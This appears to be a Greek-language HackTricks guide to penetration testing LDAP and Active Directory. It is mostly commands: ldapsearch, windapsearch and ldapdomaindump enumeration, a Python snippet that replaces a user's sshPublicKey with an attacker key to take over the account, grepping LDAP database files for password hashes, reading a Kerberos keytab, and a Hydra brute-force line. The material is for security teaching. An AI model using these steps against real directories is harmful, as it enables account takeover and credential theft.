24 KiB
389, 636, 3268, 3269 - Ελεγκτική δοκιμή LDAP
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Η χρήση του LDAP (Lightweight Directory Access Protocol) γίνεται κυρίως για τον εντοπισμό διάφορων οντοτήτων, όπως οργανισμών, ατόμων και πόρων όπως αρχεία και συσκευές, εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Προσφέρει μια απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, το DAP, έχοντας έναν μικρότερο κώδικα.
Οι καταλόγοι LDAP είναι δομημένοι έτσι ώστε να επιτρέπεται η διανομή τους σε αρκετούς διακομιστές, με κάθε διακομιστή να φιλοξενεί μια αντιγραφή και συγχρονισμένη έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για την επεξεργασία των αιτημάτων βρίσκεται αποκλειστικά στον διακομιστή LDAP, ο οποίος μπορεί να επικοινωνεί με άλλα DSAs όπως απαιτείται για να παράσχει μια ενοποιημένη απάντηση στον αιτούντα.
Η οργάνωση του καταλόγου LDAP μοιάζει με μια ιεραρχία δέντρου, ξεκινώντας από τον ριζικό κατάλογο στην κορυφή. Αυτό κλαδεύει σε χώρες, οι οποίες διαιρούνται περαιτέρω σε οργανισμούς και στη συνέχεια σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορες διαιρέσεις ή τμήματα, φτάνοντας τελικά στο επίπεδο των ατομικών οντοτήτων, περιλαμβανομένων τόσο ανθρώπων όσο και κοινόχρηστων πόρων, όπως αρχεία και εκτυπωτές.
Προεπιλεγμένη θύρα: 389 και 636 (ldaps). Ο κατάλογος Global Catalog (LDAP στο ActiveDirectory) είναι διαθέσιμος από προεπιλογή στις θύρες 3268 και 3269 για το LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
Μορφή Ανταλλαγής Δεδομένων LDAP
Η LDIF (LDAP Data Interchange Format) καθορίζει το περιεχόμενο του καταλόγου ως ένα σύνολο εγγραφών. Μπορεί επίσης να αναπαραστήσει αιτήματα ενημέρωσης (Προσθήκη, Τροποποίηση, Διαγραφή, Μετονομασία).
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- Οι γραμμές 1-3 καθορίζουν τον τομέα ανώτατου επιπέδου local
- Οι γραμμές 5-8 καθορίζουν τον τομέα πρώτου επιπέδου moneycorp (moneycorp.local)
- Οι γραμμές 10-16 καθορίζουν 2 οργανωτικές μονάδες: dev και sales
- Οι γραμμές 18-26 δημιουργούν ένα αντικείμενο του τομέα και αναθέτουν χαρακτηριστικά με τιμές
Εγγραφή δεδομένων
Σημειώστε ότι αν μπορείτε να τροποποιήσετε τις τιμές, μπορείτε να εκτελέσετε πολύ ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να αλλάξετε τις πληροφορίες "sshPublicKey" του χρήστη σας ή οποιουδήποτε άλλου χρήστη. Είναι πολύ πιθανό ότι αν αυτό το χαρακτηριστικό υπάρχει, τότε το ssh διαβάζει τα δημόσια κλειδιά από το LDAP. Αν μπορείτε να τροποποιήσετε το δημόσιο κλειδί ενός χρήστη, θα μπορείτε να συνδεθείτε ως αυτός ο χρήστης ακόμα κι αν η ελέγχου κωδικού πρόσβασης δεν είναι ενεργοποιημένος στο ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Καταγραφή διαπιστευτηρίων σε καθαρό κείμενο
Εάν χρησιμοποιείται το πρωτόκολλο LDAP χωρίς SSL, μπορείτε να καταγράψετε τα διαπιστευτήρια σε καθαρό κείμενο στο δίκτυο.
Επίσης, μπορείτε να πραγματοποιήσετε μια επίθεση MITM (Man-in-the-Middle) στο δίκτυο μεταξύ του διακομιστή LDAP και του πελάτη. Εδώ μπορείτε να πραγματοποιήσετε μια επίθεση Downgrade ώστε ο πελάτης να χρησιμοποιήσει τα διαπιστευτήρια σε καθαρό κείμενο για να συνδεθεί.
Εάν χρησιμοποιείται SSL, μπορείτε να προσπαθήσετε να πραγματοποιήσετε μια επίθεση MITM όπως περιγράφηκε παραπάνω, προσφέροντας ένα ψεύτικο πιστοποιητικό. Εάν ο χρήστης το αποδεχθεί, μπορείτε να πραγματοποιήσετε την υποβάθμιση της μεθόδου πιστοποίησης και να δείτε ξανά τα διαπιστευτήρια.
Ανώνυμη πρόσβαση
Παράκαμψη ελέγχου TLS SNI
Σύμφωνα με αυτήν την ανάλυση, απλά με την πρόσβαση στον διακομιστή LDAP με έναν αυθαίρετο τομέα (όπως company.com), ήταν δυνατό να επικοινωνήσει με την υπηρεσία LDAP και να εξάγει πληροφορίες ως ανώνυμος χρήστης:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
Ανώνυμες συνδέσεις LDAP
Οι ανώνυμες συνδέσεις LDAP επιτρέπουν σε μη εξουσιοδοτημένους επιτιθέμενους να ανακτήσουν πληροφορίες από τον τομέα, όπως μια πλήρης λίστα χρηστών, ομάδων, υπολογιστών, χαρακτηριστικά λογαριασμού χρήστη και την πολιτική κωδικού πρόσβασης του τομέα. Αυτή είναι μια παλαιά ρύθμιση και από το Windows Server 2003 και μετά, μόνο εξουσιοδοτημένοι χρήστες επιτρέπεται να πραγματοποιούν αιτήματα LDAP.
Ωστόσο, οι διαχειριστές μπορεί να έχουν χρειαστεί να διαμορφώσουν μια συγκεκριμένη εφαρμογή για να επιτρέψουν ανώνυμες συνδέσεις και να παραχωρήσουν περισσότερη πρόσβαση από ό,τι αρχικά είχαν σκοπό, παρέχοντας έτσι σε μη εξουσιοδοτημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στον AD.
Έγκυρα διαπιστευτήρια
Εάν έχετε έγκυρα διαπιστευτήρια για να συνδεθείτε στον διακομιστή LDAP, μπορείτε να ανακτήσετε όλες τις πληροφορίες σχετικά με τον Domain Admin χρησιμοποιώντας:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Βίαιη Δύναμη
Απαρίθμηση
Αυτοματοποιημένη
Χρησιμοποιώντας αυτό, θα μπορείτε να δείτε τις δημόσιες πληροφορίες (όπως το όνομα του τομέα):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
Δείτε την απαρίθμηση LDAP με τη χρήση της Python
Μπορείτε να δοκιμάσετε να απαριθμήσετε ένα LDAP με ή χωρίς διαπιστευτήρια χρησιμοποιώντας την Python: pip3 install ldap3
Προσπαθήστε πρώτα να συνδεθείτε χωρίς διαπιστευτήρια:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
Εάν η απάντηση είναι True
όπως στο προηγούμενο παράδειγμα, μπορείτε να αποκτήσετε ορισμένα ενδιαφέροντα δεδομένα του LDAP (όπως το περιβάλλον ονομασίας ή το όνομα του τομέα) διακομιστή από:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Αφού έχετε το περιβάλλον ονομάτων, μπορείτε να κάνετε μερικές πιο συναρπαστικές ερωτήσεις. Αυτή η απλή ερώτηση θα σας δείξει όλα τα αντικείμενα στον κατάλογο:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Ή αντλήστε ολόκληρο το ldap:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch είναι ένα σενάριο Python που χρησιμοποιείται για να απαριθμήσει χρήστες, ομάδες και υπολογιστές από ένα πεδίο Windows χρησιμοποιώντας ερωτήματα LDAP.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Ελέγξτε τα κενά διαπιστευτήρια ή εάν οι διαπιστευτήριά σας είναι έγκυρα:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
Εάν βρείτε κάτι που λέει ότι "_πρέπει να ολοκληρωθεί η bind" σημαίνει ότι τα διαπιστευτήρια είναι εσφαλμένα.
Μπορείτε να εξάγετε τα πάντα από έναν τομέα χρησιμοποιώντας:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Εξαγωγή χρηστών:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Εξαγωγή υπολογιστών:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή των πληροφοριών μου:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή Διαχειριστές:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Εξαγωγή Ομάδας Απομακρυσμένης Επιφάνειας Εργασίας:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Για να δείτε αν έχετε πρόσβαση σε οποιοδήποτε κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε την εντολή grep μετά την εκτέλεση μίας από τις ερωτήσεις:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
pbis
Μπορείτε να κατεβάσετε το pbis από εδώ: https://github.com/BeyondTrust/pbis-open/ και συνήθως εγκαθίσταται στο /opt/pbis
.
Το Pbis σας επιτρέπει να λάβετε εύκολα βασικές πληροφορίες:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Γραφική διεπαφή
Apache Directory
Κατεβάστε το Apache Directory από εδώ. Μπορείτε να βρείτε ένα παράδειγμα πώς να χρησιμοποιήσετε αυτό το εργαλείο εδώ.
jxplorer
Μπορείτε να κατεβάσετε μια γραφική διεπαφή με διακομιστή LDAP εδώ: http://www.jxplorer.org/downloads/users.html
Από προεπιλογή εγκαθίσταται στο: /opt/jxplorer
Godap
Μπορείτε να αποκτήσετε πρόσβαση σε αυτό εδώ: https://github.com/Macmod/godap
Πιστοποίηση μέσω kerberos
Χρησιμοποιώντας το ldapsearch
μπορείτε να πιστοποιηθείτε εναντίον του kerberos αντί για το NTLM χρησιμοποιώντας την παράμετρο -Y GSSAPI
POST
Εάν έχετε πρόσβαση στα αρχεία όπου περιέχονται οι βάσεις δεδομένων (μπορεί να είναι στο /var/lib/ldap). Μπορείτε να εξάγετε τις κατακερματισμένες τιμές χρησιμοποιώντας:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Μπορείτε να τροφοδοτήσετε τον John με το hash του κωδικού πρόσβασης (από '{SSHA}' έως 'structural' χωρίς να προσθέσετε το 'structural').
Αρχεία Διαμόρφωσης
- Γενικά
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
Αυτόματες Εντολές HackTricks
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.